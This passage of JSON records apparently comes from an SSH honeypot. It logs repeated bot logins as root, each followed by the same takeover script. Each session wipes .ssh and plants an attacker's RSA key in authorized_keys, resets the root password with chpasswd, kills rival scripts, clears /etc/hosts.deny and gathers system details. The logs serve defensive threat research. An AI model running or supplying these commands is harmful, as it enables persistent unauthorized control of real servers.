ls)"},{"seq":12,"at":"2026-08-26T13:44:00.807970+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-26T13:44:01.713848+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-26T13:44:02.098402+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-26T13:44:03.007714+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-26T13:44:03.569880+00:00","kind":"output","latency_ms":null,"data":" 13:44:03 up 6 days, 10:34, 0 user, load average: 0.13, 0.16, 0.15\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-26T13:44:05.303088+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-26T13:44:05.865348+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-26T13:44:06.800043+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-26T13:44:07.493111+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-26T13:44:08.404642+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-26T13:44:09.131582+00:00","kind":"output","latency_ms":null,"data":"top - 13:44:09 up 6 days, 10:34, 0 user, load average: 0.13, 0.16, 0.15\nTasks: 104 total, 1 running, 103 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9373 free, 6514 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-26T13:44:10.409799+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-26T13:44:11.206523+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-26T13:44:12.139817+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-26T13:44:12.871697+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-26T13:44:13.801078+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-26T13:44:14.322959+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-26T13:44:15.244064+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-26T13:44:16.363252+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-26T13:44:17.299118+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-26T13:44:18.339390+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"seth","method":"password","accepted":true,"tier":"other"}]} {"id":"42543b63-fc4b-40b7-9a13-ec41d327ec93","name":"fickle-rugged-stork","protocol":"ssh","channel_kind":"exec","src_ip":"157.245.34.56","src_port":59310,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":297,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T13:43:44.740814+00:00","ended_at":"2026-08-26T13:43:46.271835+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2128,"events":[{"seq":1,"at":"2026-08-26T13:43:25.463201+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T13:43:25.758625+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T13:43:30.581485+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T13:43:31.283357+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T13:43:31.582087+00:00","kind":"input","latency_ms":null,"data":"echo \"root:tPU5Knpw6oTl\"|chpasswd|bash"},{"seq":6,"at":"2026-08-26T13:43:31.874882+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-26T13:43:32.170721+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T13:43:32.891115+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-26T13:43:33.189564+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-26T13:43:34.032746+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-26T13:43:34.330836+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-26T13:43:35.450610+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-26T13:43:35.750504+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-26T13:43:36.400163+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-26T13:43:36.698723+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-26T13:43:37.543352+00:00","kind":"output","latency_ms":null,"data":" 13:43:37 up 6 days, 10:33, 0 user, load average: 0.29, 0.22, 0.22\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-26T13:43:37.840466+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-26T13:43:38.228619+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-26T13:43:38.523311+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-26T13:43:38.970080+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-26T13:43:39.267347+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-26T13:43:40.043768+00:00","kind":"output","latency_ms":null,"data":"top - 13:43:40 up 6 days, 10:33, 0 user, load average: 0.29, 0.22, 0.22\nTasks: 125 total, 1 running, 124 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9850 free, 6037 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-26T13:43:40.340321+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-26T13:43:41.066105+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-26T13:43:41.362039+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-26T13:43:41.902852+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-26T13:43:42.196693+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-26T13:43:42.758693+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-26T13:43:43.055889+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-26T13:43:44.446140+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-26T13:43:44.741606+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-26T13:43:46.184706+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"Admin@5000","method":"password","accepted":true,"tier":"other"}]} {"id":"858a0932-be08-43d0-afe3-adec50fe91cb","name":"loyal-lucid-civet","protocol":"ssh","channel_kind":"exec","src_ip":"103.167.89.222","src_port":51696,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":934,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T13:41:01.736509+00:00","ended_at":"2026-08-26T13:41:03.499969+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2304,"events":[{"seq":1,"at":"2026-08-26T13:40:24.405879+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T13:40:25.272534+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T13:40:33.232347+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T13:40:33.856073+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T13:40:34.767052+00:00","kind":"input","latency_ms":null,"data":"echo \"root:ZRzjJw4A3AJe\"|chpasswd|bash"},{"seq":6,"at":"2026-08-26T13:40:35.703196+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-26T13:40:36.618549+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T13:40:37.086324+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-26T13:40:38.003436+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-26T13:40:39.145111+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-26T13:40:40.648742+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-26T13:40:42.012682+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-26T13:40:43.705014+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-26T13:40:44.459129+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-26T13:40:46.146738+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-26T13:40:46.947762+00:00","kind":"output","latency_ms":null,"data":" 13:40:46 up 6 days, 10:30, 0 user, load average: 0.14, 0.11, 0.15\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-26T13:40:47.859251+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-26T13:40:48.298666+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-26T13:40:49.211387+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-26T13:40:49.534723+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-26T13:40:50.451055+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-26T13:40:50.709327+00:00","kind":"output","latency_ms":null,"data":"top - 13:40:50 up 6 days, 10:30, 0 user, load average: 0.14, 0.11, 0.15\nTasks: 124 total, 1 running, 123 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6196 free, 9691 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-26T13:40:52.403135+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-26T13:40:52.898920+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-26T13:40:55.414461+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-26T13:40:56.211392+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-26T13:40:57.111270+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-26T13:40:57.817592+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-26T13:40:59.459323+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-26T13:41:00.801551+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-26T13:41:01.737093+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-26T13:41:03.199937+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"QAZwsx1234","method":"password","accepted":true,"tier":"other"}]} {"id":"6ab027d5-570c-44cc-ba48-b115e3f0a633","name":"gloomy-early-wallaby","protocol":"ssh","channel_kind":"exec","src_ip":"168.167.228.123","src_port":40594,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":750,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T13:38:07.941746+00:00","ended_at":"2026-08-26T13:38:08.705878+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2093,"events":[{"seq":1,"at":"2026-08-26T13:37:46.660432+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T13:37:47.411307+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T13:37:54.649540+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T13:37:54.650245+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T13:37:55.398249+00:00","kind":"input","latency_ms":null,"data":"echo \"root:ZyorPPWrJf9K\"|chpasswd|bash"},{"seq":6,"at":"2026-08-26T13:37:56.147818+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-26T13:37:56.896786+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T13:37:56.897321+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-26T13:37:57.648171+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-26T13:37:58.234398+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-26T13:37:58.987964+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-26T13:37:59.870391+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-26T13:38:00.622719+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-26T13:38:00.623491+00:00","kind":"output","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-26T13:38:01.373894+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-26T13:38:01.374362+00:00","kind":"output","latency_ms":null,"data":" 13:38:01 up 6 days, 10:28, 0 user, load average: 0.14, 0.13, 0.1\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-26T13:38:02.123347+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-26T13:38:02.124094+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-26T13:38:02.874688+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-26T13:38:02.875415+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-26T13:38:03.625051+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-26T13:38:03.625600+00:00","kind":"output","latency_ms":null,"data":"top - 13:38:03 up 6 days, 10:28, 0 user, load average: 0.14, 0.13, 0.1\nTasks: 119 total, 1 running, 118 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 7149 free, 8738 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-26T13:38:04.375525+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-26T13:38:04.376170+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-26T13:38:05.126718+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-26T13:38:05.127408+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-26T13:38:05.878517+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-26T13:38:05.879032+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-26T13:38:06.628925+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-26T13:38:07.193046+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-26T13:38:07.942500+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-26T13:38:08.468380+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"Qwe123@@","method":"password","accepted":true,"tier":"other"}]} {"id":"da994aa2-008d-4b69-b05f-7ceeb86a64fa","name":"chilly-deft-martin","protocol":"ssh","channel_kind":"exec","src_ip":"125.142.37.91","src_port":46416,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":632,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T13:21:48.264018+00:00","ended_at":"2026-08-26T13:21:49.062135+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2093,"events":[{"seq":1,"at":"2026-08-26T13:21:30.918261+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T13:21:31.550740+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T13:21:37.010528+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T13:21:37.010971+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T13:21:37.644330+00:00","kind":"input","latency_ms":null,"data":"echo \"root:jDeR2xGosIZt\"|chpasswd|bash"},{"seq":6,"at":"2026-08-26T13:21:38.274420+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-26T13:21:38.908138+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T13:21:38.910117+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-26T13:21:39.541843+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-26T13:21:40.157497+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-26T13:21:40.782266+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-26T13:21:41.310024+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-26T13:21:41.953209+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-26T13:21:41.955705+00:00","kind":"output","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-26T13:21:42.587461+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-26T13:21:42.588269+00:00","kind":"output","latency_ms":null,"data":" 13:21:42 up 6 days, 10:11, 0 user, load average: 0.33, 0.27, 0.2\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-26T13:21:43.230410+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-26T13:21:43.232059+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-26T13:21:43.872088+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-26T13:21:43.872668+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-26T13:21:44.504799+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-26T13:21:44.505574+00:00","kind":"output","latency_ms":null,"data":"top - 13:21:44 up 6 days, 10:11, 0 user, load average: 0.33, 0.27, 0.2\nTasks: 125 total, 1 running, 124 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6990 free, 8897 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-26T13:21:45.138855+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-26T13:21:45.139678+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-26T13:21:45.769934+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-26T13:21:45.770323+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 